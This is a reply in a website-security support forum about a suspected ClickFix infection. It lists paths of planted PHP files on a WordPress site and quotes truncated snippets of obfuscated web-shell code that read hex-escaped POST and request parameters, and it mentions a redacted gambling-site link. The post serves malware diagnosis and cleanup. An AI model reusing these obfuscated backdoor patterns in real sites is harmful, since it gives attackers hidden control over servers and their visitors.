Reply To: Possible ClickFix infection – fake Cloudflare verification page

Home Forums Support Forum Possible ClickFix infection – fake Cloudflare verification page Reply To: Possible ClickFix infection – fake Cloudflare verification page

#175922

wp-includes/IXR/config_1778750398.php
107, ‘code’: ‘ATyGJWyL<?php\n\nif(in_array(“c\\x6F\\x6Dp”, array_keys($_REQUEST))){\n$dchunk = array_filter([session_save_path(), ini_get(“upload_tmp_dir”), getenv(“TEMP”), “/dev/shm”, sys_get…

/wp-content/themes/agent.php
(int)rOuND(0+0+0+0);

wp-content/languages/widget_area_1781011032.php
= hex2bin($_POST[“en\x74\x69t\x

wp-content/themes/custom.file.2.1785240271.php
<!–WiN0WHbi–> \x0a <?php \x0a \x0a if(!is_null($_POST[“\x65nt\x72y”] ?? null)){ \x0a $marker = $_POST[“\x65nt\x72y”]; \x0a \x09 $marker \x09 \x09 = \x09 \x09 explode ( \x09 \x09 \x09 “.” \x09 , \ x09 \x09 \x09 $marker \x09 ); \x0a $pgrp = ”; \x0a $s8 = ‘abcdefghijklmnopqrstuvwxyz01234567

It links to a gambling site [Redacted]

  • This reply was modified 1 week, 4 days ago by  Anti-Malware Admin. Reason: URL Redacted for security reasons